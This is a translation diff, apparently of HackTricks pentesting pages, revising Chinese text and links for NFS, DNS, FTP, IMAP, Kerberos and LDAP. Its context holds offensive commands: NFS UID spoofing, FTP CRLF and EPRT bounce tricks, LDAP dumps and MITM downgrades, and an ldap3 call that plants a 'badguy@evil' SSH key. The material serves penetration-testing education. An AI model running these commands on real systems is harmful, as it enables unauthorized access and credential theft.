- **NFSv2**: 该版本因其与各种系统的广泛兼容性而受到认可标志着其在最初操作主要通过UDP进行的重要性。作为系列中**最古老**的版本,它为未来的发展奠定了基础。 - **NFSv2**: 该版本因其与各种系统的广泛兼容性而受到认可标志着其在最初操作主要通过UDP进行的重要性。作为系列中**最古老**的版本,它为未来的发展奠定了基础。
- **NFSv3**: 通过一系列增强功能引入NFSv3在其前身的基础上扩展支持可变文件大小并提供改进的错误报告机制。尽管有了进步但它在与NFSv2客户端的完全向后兼容性方面仍然存在局限。 - **NFSv3**: NFSv3引入了一系列增强功能扩展了其前身,支持可变文件大小并提供改进的错误报告机制。尽管有了这些进步但它在与NFSv2客户端的完全向后兼容性方面仍然存在局限
- **NFSv4**: NFS系列中的一个里程碑版本NFSv4带来了旨在现代化网络文件共享的一系列功能。显著的改进包括集成Kerberos以实现**高安全性**、能够穿越防火墙并在不需要端口映射器的情况下通过互联网操作、支持访问控制列表ACL以及引入基于状态的操作。其性能增强和状态协议的采用使NFSv4成为网络文件共享技术中的一个重要进展。 - **NFSv4**: NFS系列中的一个里程碑版本NFSv4带来了旨在现代化网络文件共享的一系列功能。显著的改进包括集成Kerberos以实现**高安全性**、能够穿越防火墙并在不需要端口映射器的情况下通过互联网操作、支持访问控制列表ACL以及引入基于状态的操作。其性能增强和状态协议的采用使NFSv4成为网络文件共享技术中的一个重要进展。
@ -32,11 +32,11 @@ nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e nfs-showmount #Like showmount -e
nfs-statfs #Disk statistics and info from NFS share nfs-statfs #Disk statistics and info from NFS share
``` ```
### 有用的 metasploit 模块 ### 有用的metasploit模块
```bash ```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions scanner/nfs/nfsmount #Scan NFS mounts and list permissions
``` ```
### Mounting ### 挂载
要知道**哪个文件夹**可以被服务器**挂载**,你可以使用以下命令: 要知道**哪个文件夹**可以被服务器**挂载**,你可以使用以下命令:
```bash ```bash
@ -59,7 +59,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
## NSFShell ## NSFShell
为了方便列出、挂载和更改UID和GID以访问文件你可以使用[nfsshell](https://github.com/NetDirect/nfsshell)。 要轻松列出、挂载并更改UID和GID以访问文件你可以使用[nfsshell](https://github.com/NetDirect/nfsshell)。
[很好的NFSShell教程。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) [很好的NFSShell教程。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
@ -70,7 +70,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
``` ```
### 危险设置 ### 危险设置
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。考虑授予如此广泛访问权限的影响至关重要 - **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。授予如此广泛的访问权限时,必须考虑其影响
- **使用不安全端口 (`insecure`):** 启用后系统可以使用1024以上的端口。此范围以上的端口安全性可能较低增加风险。 - **使用不安全端口 (`insecure`):** 启用后系统可以使用1024以上的端口。此范围以上的端口安全性可能较低增加风险。
@ -78,7 +78,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
- **根文件所有权 (`no_root_squash`):** 使用此设置根用户创建的文件保持其原始UID/GID为0忽视最小权限原则可能授予过多权限。 - **根文件所有权 (`no_root_squash`):** 使用此设置根用户创建的文件保持其原始UID/GID为0忽视最小权限原则可能授予过多权限。
- **所有用户不压缩 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。 - **不压缩所有用户 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。
## 利用NFS错误配置进行权限提升 ## 利用NFS错误配置进行权限提升
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -32,13 +32,13 @@ DNS 中没有横幅,但您可以抓取 `version.bind. CHAOS TXT` 的魔法查
```bash ```bash
dig version.bind CHAOS TXT @DNS dig version.bind CHAOS TXT @DNS
``` ```
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 也可以指纹识别服务器 此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 也可以对服务器进行指纹识别。
还可以使用 **nmap** 脚本抓取横幅: 还可以使用 **nmap** 脚本抓取横幅:
``` ```
--script dns-nsid --script dns-nsid
``` ```
### **任何记录** ### **Any record**
记录 **ANY** 将请求 DNS 服务器 **返回** 所有可用的 **条目**,这些 **条目****它愿意披露** 的。 记录 **ANY** 将请求 DNS 服务器 **返回** 所有可用的 **条目**,这些 **条目****它愿意披露** 的。
```bash ```bash
@ -97,9 +97,9 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
> [!NOTE] > [!NOTE]
> 如果您能够找到解析到内部IP地址的子域名您应该尝试对该IP范围的域名的NS进行反向DNS暴力破解。 > 如果您能够找到解析到内部IP地址的子域名您应该尝试对该IP范围的域名的NS进行反向DNS暴力破解。
另一个工具[https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) 另一个工具可以做到这一点: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
您可以查询反向IP范围到[https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns)这个工具在BGP方面也很有帮助 您可以查询反向IP范围到 [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns)这个工具在BGP方面也很有帮助
### DNS - 子域名暴力破解 ### DNS - 子域名暴力破解
```bash ```bash
@ -150,9 +150,9 @@ dig google.com A @<IP>
![](<../images/image (146).png>) ![](<../images/image (146).png>)
### 向不存在的账户发送邮件 ### 发送到不存在的账户
**向不存在的地址发送电子邮件**,使用受害者的域可能会触发受害者发送一条未送达通知NDN消息其**头部**可能包含有趣的信息,例如**内部服务器的名称和IP地址**。 **向不存在的地址发送电子邮件**使用受害者的域可能会触发受害者发送一条未送达通知NDN消息其**头部**可能包含有趣的信息,例如**内部服务器的名称和IP地址**。
## 后期利用 ## 后期利用
@ -167,7 +167,7 @@ host.conf
/etc/bind/named.conf.log /etc/bind/named.conf.log
/etc/bind/* /etc/bind/*
``` ```
## 参考文献 ## 参考
- [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) - [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
- 书籍: **网络安全评估 第三版** - 书籍: **网络安全评估 第三版**
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name Domain_Name
exit exit
https://book.hacktricks.xyz/pentesting/pentesting-dns https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -5,7 +5,7 @@
## 基本信息 ## 基本信息
**文件传输协议 (FTP)** 是在计算机网络中服务器与客户端之间进行文件传输的标准协议。\ **文件传输协议 (FTP)** 是在计算机网络中服务器与客户端之间进行文件传输的标准协议。\
它是一个**明文**协议,使用**换行符 `0x0d 0x0a`**,因此有时你需要**使用 `telnet` 连接**或**`nc -C`**。 它是一个**明文**协议,使用**换行符 `0x0d 0x0a`**,因此有时你需要**使用 `telnet`** **`nc -C`** 进行连接
**默认端口:** 21 **默认端口:** 21
``` ```
@ -101,7 +101,7 @@ ftp <IP>
``` ```
### [暴力破解](../../generic-hacking/brute-force.md#ftp) ### [暴力破解](../../generic-hacking/brute-force.md#ftp)
在这里你可以找到一个包含默认ftp凭据的列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) 在这里你可以找到一个包含默认ftp凭据的不错列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### 自动化 ### 自动化
@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 <ip>
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
注意,如果一个 **web 应用程序** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**这些可能的任意操作之一是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如 http进行通信。 注意,如果一个 **web application** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**其中一个可能的任意操作是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如 http进行通信。
## 从 FTP 下载所有文件 ## 从 FTP 下载所有文件
```bash ```bash
@ -135,14 +135,14 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接_由 "2" 指示_。此命令 **支持 IPv6** - **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接_由 "2" 指示_。此命令 **支持 IPv6**
- **`LIST`** 这将发送当前文件夹中的文件列表 - **`LIST`** 这将发送当前文件夹中的文件列表
- **`LIST -R`** 递归列出(如果服务器允许) - **`LIST -R`** 递归列出(如果服务器允许)
- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,它将附加数据。 - **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,它将附加数据。
- **`STOR /path/something.txt`** 类似于 `APPE`,但它将覆盖文件 - **`STOR /path/something.txt`** 类似于 `APPE`,但它将覆盖文件
- **`STOU /path/something.txt`** 类似于 `APPE`,但如果存在则不执行任何操作。 - **`STOU /path/something.txt`** 类似于 `APPE`,但如果存在则不执行任何操作。
- **`RETR /path/to/file`** 必须建立被动或端口连接。然后FTP 服务器将通过该连接发送指定的文件 - **`RETR /path/to/file`** 必须建立被动或端口连接。然后FTP 服务器将通过该连接发送指定的文件
- **`REST 6`** 这将指示服务器下次使用 `RETR` 发送时应从第 6 字节开始。 - **`REST 6`** 这将指示服务器下次使用 `RETR` 发送时应从第 6 字节开始。
- **`TYPE i`** 设置传输为二进制 - **`TYPE i`** 设置传输为二进制
- **`PASV`** 这将打开一个被动连接,并指示用户可以连接的位置 - **`PASV`** 这将打开一个被动连接,并指示用户可以连接的位置
- **`PUT /tmp/file.txt`** 将指定文件上传到 FTP - **`PUT /tmp/file.txt`** 将指定文件上传到 FTP
![](<../../images/image (386).png>) ![](<../../images/image (386).png>)
@ -175,7 +175,7 @@ posts.txt
## Filezilla 服务器漏洞 ## Filezilla 服务器漏洞
**FileZilla** 通常 **绑定****本地****管理服务** 用于 **FileZilla-Server**(端口 14147。如果您可以创建一个 **隧道****您的机器** 访问此端口,您可以 **使用空密码连接****它****创建** 一个 **新的用户** 用于 FTP 服务。 **FileZilla** 通常 **绑定****本地****管理服务** 用于 **FileZilla-Server**(端口 14147。如果您可以**您的机器** 创建一个 **隧道**访问此端口,您可以 **使用空密码连接****它****创建** 一个 **新的用户** 用于 FTP 服务。
## 配置文件 ## 配置文件
``` ```
@ -195,7 +195,7 @@ vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里,你
- `chown_uploads=YES` - 更改匿名上传文件的所有权 - `chown_uploads=YES` - 更改匿名上传文件的所有权
- `chown_username=username` - 被赋予匿名上传文件所有权的用户 - `chown_username=username` - 被赋予匿名上传文件所有权的用户
- `local_enable=YES` - 允许本地用户登录 - `local_enable=YES` - 允许本地用户登录
- `no_anon_password=YES` - 不要求匿名用户提供密码 - `no_anon_password=YES` - 不要求匿名用户输入密码
- `write_enable=YES` - 允许命令STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE - `write_enable=YES` - 允许命令STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE
### Shodan ### Shodan
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -30,13 +30,13 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
``` ```
**自动化** 这个与 **nmap** 插件 `imap-ntlm-info.nse` **自动化**此操作,使用**nmap**插件`imap-ntlm-info.nse`
### [IMAP 暴力破解](../generic-hacking/brute-force.md#imap) ### [IMAP暴力破解](../generic-hacking/brute-force.md#imap)
## 语法 ## 语法
IMAP 命令示例来自 [这里](https://donsutherland.org/crib/imap): IMAP命令示例来自[这里](https://donsutherland.org/crib/imap):
``` ```
Login Login
A1 LOGIN username password A1 LOGIN username password
@ -115,12 +115,12 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
``` ```
邮件索引将与搜索操作返回的索引相同。 邮件索引将与搜索操作返回的索引相同。
也可以使用 `UID`(唯一标识符)来访问消息,但这不太方便,因为搜索命令需要手动格式化。例如 也可以使用 `UID`(唯一标识符)来访问消息,但这不太方便,因为搜索命令需要手动格式化。例如
```bash ```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
``` ```
还可以仅下载消息的部分内容例如前5条消息的主题和发件人需要使用`-v`才能查看主题和发件人): 也可以只下载消息的部分内容例如前5条消息的主题和发件人需要使用`-v`才能查看主题和发件人):
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
``` ```
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: | Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used. The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -6,9 +6,9 @@
**Kerberos** 的运作原则是认证用户而不直接管理他们对资源的访问。这是一个重要的区别,因为它强调了该协议在安全框架中的作用。 **Kerberos** 的运作原则是认证用户而不直接管理他们对资源的访问。这是一个重要的区别,因为它强调了该协议在安全框架中的作用。
**Active Directory** 等环境中,**Kerberos** 在通过验证用户的秘密密码来建立用户身份方面发挥着重要作用。这个过程确保在用户与网络资源交互之前确认每个用户的身份。然而,**Kerberos** 并不扩展其功能来评估或强制执行用户对特定资源或服务的权限。相反,它提供了一种安全的用户认证方式,这是安全过程中的关键第一步。 **Active Directory** 等环境中,**Kerberos** 在通过验证用户的秘密密码来建立用户身份方面发挥着重要作用。这个过程确保在用户与网络资源交互之前确认每个用户的身份。然而,**Kerberos** 并不扩展其功能来评估或强制用户对特定资源或服务的权限。相反,它提供了一种安全的用户认证方式,这是安全过程中的关键第一步。
**Kerberos** 认证后,关于资源访问的决策过程被委托给网络中的各个服务。这些服务负责根据 **Kerberos** 提供的用户权限信息评估经过认证的用户的权利和权限。这种设计允许在认证用户身份和管理其访问权限之间进行关注点分离,从而在分布式网络中实现更灵活和安全的资源管理方法。 **Kerberos** 认证后,关于资源访问的决策过程被委托给网络中的各个服务。这些服务负责根据 **Kerberos** 提供的用户权限信息评估经过认证的用户的权利和权限。这种设计允许在认证用户身份和管理其访问权限之间进行关注点分离,从而在分布式网络中实现更灵活和安全的资源管理方法。
**默认端口:** 88/tcp/udp **默认端口:** 88/tcp/udp
``` ```
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks. Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process. In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2: Entry_2:
Name: Pre-Creds Name: Pre-Creds

View File

@ -6,7 +6,7 @@
LDAP 目录的结构允许它们分布在多个服务器上,每个服务器都存储一个**复制**和**同步**的目录版本称为目录系统代理DSA。处理请求的责任完全在于 LDAP 服务器,必要时可以与其他 DSA 通信,以向请求者提供统一的响应。 LDAP 目录的结构允许它们分布在多个服务器上,每个服务器都存储一个**复制**和**同步**的目录版本称为目录系统代理DSA。处理请求的责任完全在于 LDAP 服务器,必要时可以与其他 DSA 通信,以向请求者提供统一的响应。
LDAP 目录的组织结构类似于**树形层次结构,从根目录开始**。这向下分支到国家,然后进一步划分为组织,再到代表各个部门或单位的组织单位,最终达到包括个人和共享资源(如文件和打印机)在内的个体实体层级。 LDAP 目录的组织结构类似于**树形层次结构,从根目录开始**。这向下分支到国家,然后进一步划分为组织,再到代表各个部门或分支的组织单位,最终达到包括个人和共享资源(如文件和打印机)在内的个体实体层级。
**默认端口:** 389 和 636ldaps。全局目录ActiveDirectory 中的 LDAP默认在端口 3268 和 3269LDAPS上可用。 **默认端口:** 389 和 636ldaps。全局目录ActiveDirectory 中的 LDAP默认在端口 3268 和 3269LDAPS上可用。
``` ```
@ -64,17 +64,17 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
``` ```
## 嗅探明文凭证 ## Sniff clear text credentials
如果 LDAP 在没有 SSL 的情况下使用,可以 **在网络中嗅探明文凭证** 如果 LDAP 在没有 SSL 的情况下使用,可以 **在网络中嗅探明文凭证**
此外,可以在 **LDAP 服务器和客户端之间** 执行 **MITM** 攻击。在这里,可以进行 **降级攻击**,使客户端使用 **明文凭证** 登录。 此外,可以在 **LDAP 服务器和客户端之间** 执行 **MITM** 攻击。在这里,可以进行 **降级攻击**,使客户端使用 **明文凭证** 登录。
**如果使用 SSL**你可以尝试像上面提到的那样进行 **MITM**,但提供一个 **虚假证书**,如果 **用户接受它**你就能够降级认证方法并再次查看凭证。 **如果使用 SSL**您可以尝试像上述提到的那样进行 **MITM**,但提供一个 **虚假证书**,如果 **用户接受它**您就能够降级身份验证方法并再次查看凭证。
## 匿名访问 ## Anonymous Access
### 绕过 TLS SNI 检查 ### Bypass TLS SNI check
根据 [**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),仅通过使用任意域名(如 company.com访问 LDAP 服务器,他能够以匿名用户的身份联系 LDAP 服务并提取信息: 根据 [**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),仅通过使用任意域名(如 company.com访问 LDAP 服务器,他能够以匿名用户的身份联系 LDAP 服务并提取信息:
```bash ```bash
@ -87,9 +87,9 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
## 有效凭据 ## 有效凭据
如果您拥有有效的凭据登录到 LDAP 服务器,您可以使用以下命令转储有关域管理员的所有信息 如果您拥有有效的凭据登录到 LDAP 服务器,您可以使用:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) 转储有关域管理员的所有信息。
```bash ```bash
pip3 install ldapdomaindump pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
@ -108,11 +108,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details> <details>
<summary>查看使用pythonLDAP枚举</summary> <summary>查看使用python进行LDAP枚举</summary>
您可以尝试使用python **枚举LDAP无论是否凭据** `pip3 install ldap3` 您可以尝试使用python **枚举LDAP无论是否使用凭据** `pip3 install ldap3`
首先尝试**无凭据连接** 首先尝试**在没有**凭据的情况下连接
```bash ```bash
>>> import ldap3 >>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True True
>>> server.info >>> server.info
``` ```
如果响应为 `True`,如前面的示例所示,您可以从以下内容获取一些 **有趣的数据**,例如 **命名上下文****域名** 服务器 如果响应为 `True`,如前面的示例所示,您可以从获取一些 **有趣的数据**,例如 LDAP 服务器的 **命名上下文****域名**
```bash ```bash
>>> server.info >>> server.info
DSA info (from DSE): DSA info (from DSE):
@ -175,7 +175,7 @@ tion a successful bind must be completed on the connection., data 0, v3839
``` ```
如果你发现某些内容说“_bind 必须完成_”意味着凭据不正确。 如果你发现某些内容说“_bind 必须完成_”意味着凭据不正确。
你可以使用以下方法从一个域中提取**所有内容** 你可以使用以下方法从**域中提取所有内容**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication -x Simple Authentication
@ -193,7 +193,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Use
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取 **我的信息** 提取 **我的信息**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -201,7 +201,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取 **Domain Users** 提取 **Domain Users**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -213,7 +213,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Ent
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
提取 **Remote Desktop Group** 提取 **远程桌面组**
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -286,7 +286,7 @@ done
